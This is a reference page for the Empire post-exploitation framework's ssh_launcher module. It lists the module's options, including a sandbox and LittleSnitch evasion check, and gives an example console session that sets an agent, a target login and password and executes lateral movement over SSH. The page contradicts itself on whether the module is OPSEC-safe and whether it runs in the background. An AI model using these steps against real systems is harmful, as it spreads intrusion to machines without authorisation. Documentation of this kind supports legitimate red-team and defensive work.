SSHLauncher - Empire Module

This page contains detailed information about how to use the python/lateral_movement/multi/ssh_launcher Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: SSHLauncher
Module: python/lateral_movement/multi/ssh_launcher
Source code [1]: empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml
Source code [2]: empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
MITRE ATT&CK: T1021
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: Yes

The ssh_launcher module will send an launcher via ssh.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the ssh_launcher module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the ssh_launcher module:

Agent
Agent to use ssh from.

Listener
Listener to use.

Login
[email protected].

Password
Password.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

Additional Module Options

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This is a list of additional options that are supported by the ssh_launcher module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Ssh_launcher Example Usage

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Here's an example of how to use the ssh_launcher module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/lateral_movement/multi/ssh_launcher

 Author       @424f424f                                                             
 Background   True                                                                  
 Comments     http://stackoverflow.com/questions/17118239/how-to-give-subprocess-a- 
              password-and-get-stdout-at-the-same-time                              
 Description  This module will send an launcher via ssh.                            
 Language     python                                                                
 Name         python/lateral_movement/multi/ssh_launcher                            
 NeedsAdmin   False                                                                 
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1021                              


,Record Options--------,----------,-------------------------------------,
| Name       | Value   | Required | Description                         |
|------------|---------|----------|-------------------------------------|
| Agent      |         | True     | Agent to use ssh from.              |
|------------|---------|----------|-------------------------------------|
| Listener   |         | True     | Listener to use.                    |
|------------|---------|----------|-------------------------------------|
| Login      |         | True     | [email protected]                      |
|------------|---------|----------|-------------------------------------|
| Password   |         | True     | Password                            |
|------------|---------|----------|-------------------------------------|
| SafeChecks | True    | True     | Switch. Checks for LittleSnitch or  |
|            |         |          | a SandBox, exit the staging process |
|            |         |          | if true. Defaults to True.          |
|------------|---------|----------|-------------------------------------|
| UserAgent  | default | False    | User-agent string to use for the    |
|            |         |          | staging request (default, none, or  |
|            |         |          | other).                             |
'------------'---------'----------'-------------------------------------'

(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > set Login [email protected]
[*] Set Login to [email protected]
(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/lateral_movement/multi/ssh_launcher) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

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• @424f424f

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/lateral_movement/multi/ssh_launcher.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
• http://stackoverflow.com/questions/17118239/how-to-give-subprocess-a-password-and-get-stdout-at-the-same-time
• http://attack.mitre.org/techniques/T1021

See Also

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Check also the following modules related to this module:

• python/lateral_movement/multi/ssh_command
• powershell/code_execution/invoke_ssharp
• powershell/lateral_movement/invoke_sshcommand
• python/management/multi/kerberos_inject
• python/management/multi/spawn
• python/management/multi/socks
• python/situational_awareness/host/multi/WorldWriteableFileSearch
• python/situational_awareness/host/multi/SuidGuidSearch
• python/privesc/multi/bashdoor
• python/privesc/multi/sudo_spawn
• python/persistence/multi/crontab
• python/persistence/multi/desktopfile
• powershell/management/enable_multi_rdp

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.